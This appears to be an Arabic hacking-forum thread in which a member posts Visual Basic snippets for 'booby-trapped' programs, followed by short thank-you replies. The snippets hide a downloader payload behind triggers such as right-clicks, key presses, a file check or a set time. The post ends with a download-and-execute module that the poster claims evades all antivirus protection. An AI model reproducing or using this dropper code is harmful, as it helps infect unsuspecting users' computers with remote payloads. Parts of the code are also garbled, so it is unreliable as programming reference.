حالة الموضوع:
مغلق
  1. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    [​IMG]
    كيف الحال اخواني واخواتي ان شاء الله الجميع ب خير وب تمام الصحة والعافية
    رمضان كريم علينا وعليكم وصيام مقبول للجميع ان شاء الله
    [​IMG]
    طبعا في البداية حاب اكول بعض الكلام
    اسف عن الانقطاع الطويل لاكن بسبب كثرة الاعمال والمشاغل واشياء اخرى
    [​IMG]
    اخواني واخواتي اليوم عندي شي ان شاء الله يعجبكم
    موضوع جميل + مهم + جديد ب أذن الله تعالى
    [​IMG]
    لا احب الاطالة اترككم مع الاكواد
    [​IMG]
    1- اضافة حدث عند الضغط على زر الماوس الايمن
    كود:
    Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 
    
    
    IF BUTTON=2 THEN 
    كود الداونلودر الخاص بك
    END IF 
    End Sub
    

    [​IMG]
    2- التحقق من وجود ملف تحدده انت
    كود:
    If Dir("c:\test.txt", vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then 
    كود الداونلودر الخاص بك
    End If
    غير ال c:\test.txt ب امتداد الملف الذي تريده
    

    [​IMG]
    3- تلغيمة تعتمد على الضغط على f9 او f10
    كود:
    Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 120 Then
    كود الداونلودر الخاص بك
    End If
    
    
    If KeyCode = 121 Then
    كود الداونلودر الخاص بك
    End If
    End Sub
    


    [​IMG]
    4- تشغيل السيرفر عند ما يكون ال textbox خالياً
    كود:
    if (textbox1.text="") then
    كود الداونلودر الخاص بك
    end if
    


    [​IMG]
    5- كود تشغيل السيرفر في وقت محدد
    كود:
    Private Sub Form_Load() 
    
    
    If Time <= "11:30 AM" Then 
    كود الداونلودر الخاص بك
    End 
    End If 
    

    [​IMG]
    وفي الختام لدي كود داونلودر هدية لكم )4:"
    الكود يتخطى جميع الحمايات ويعطيك ناتج كلين وشغال ومجرب
    [​IMG]
    انشأ مودل جديد وضع الكود بداخله
    كود:
    try
    dim a as string = "الداونلودر"
    dim b as string = "اسم العمليه.exe"
    my.computer.network.downloadfile(a,b)
    process.srart(b)
    catch ex as exception
    end try
    end 
    end sub
    end module
    


    [​IMG]
    الى الجميع بدون استثناء
    [​IMG]
     
  2. غاوي هكر

    غاوي هكر DeveloPer Plus

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    215
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    فلسطين
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    يسلمووووو ايديك يا بطل شرح بجد متعوب عليه يعطيك الف عافية


    عااااشت ايديك
     
  3. غاوي هكر

    غاوي هكر DeveloPer Plus

    الأنتساب:
    ‏9 يوليو 2015
    المشاركات:
    215
    الإعجابات المتلقاة:
    1
    نقاط الجائزة:
    18
    الإقامة:
    فلسطين
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    واحلا تقيم يا عسل
     
  4. k!lwa s&rian ro0t

    k!lwa s&rian ro0t مراقب عآم

    الأنتساب:
    ‏3 أغسطس 2014
    المشاركات:
    742
    الإعجابات المتلقاة:
    1,233
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    احلى لايك لعيونك
    ملك حبيبي
    مشكور
     
  5. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    وايدك حبيبي الغالي
    تسلم حبيبي مشكور ع ردك الجميل
    مشكور ع التقييم يا غالي الله يعافيك
     
  6. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    تسلم حبيبي ما قصرت
    ولو تدلل يا غالي
    مشكور ع مرورك
     
  7. !»°بہًكہًر الہًعہًراقہًي°«!

    !»°بہًكہًر الہًعہًراقہًي°«! нєℓℓ вσуѕ тєαм V • I • P

    الأنتساب:
    ‏7 فبراير 2015
    المشاركات:
    632
    الإعجابات المتلقاة:
    1,410
    نقاط الجائزة:
    93
    الجنس:
    ذكر
    الوظيفة:
    طالب
    الإقامة:
    العراق\واسط
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    عاشت الايداي خويه شروط جميله
     
  8. عـقرب الـنجف

    عـقرب الـنجف DeveloPer Plus

    الأنتساب:
    ‏5 يونيو 2015
    المشاركات:
    299
    الإعجابات المتلقاة:
    168
    نقاط الجائزة:
    43
    الجنس:
    ذكر
    الوظيفة:
    programmer
    الإقامة:
    العراق
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    وايدك حبيبي بكر نورت يا غالي
     
  9. (¯»Asaad««JaCkIe»¯)

    (¯»Asaad««JaCkIe»¯) Developer

    الأنتساب:
    ‏19 يناير 2015
    المشاركات:
    48
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    عاـأشت أيدك يـأبطل لاتحـرمنأ من جديدك
     
  10. TeePlow

    TeePlow V • I • P

    الأنتساب:
    ‏12 مارس 2014
    المشاركات:
    400
    الإعجابات المتلقاة:
    9
    نقاط الجائزة:
    18
    رد: تلغيمات شرطية جديدة - أدخل و #أحكم

    السلام عليكم
    بارك الله فيك اخي الكريم لاكن هذه التلغيمات لا تمر على ابسط الفاحصين



    تقبل مروري
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة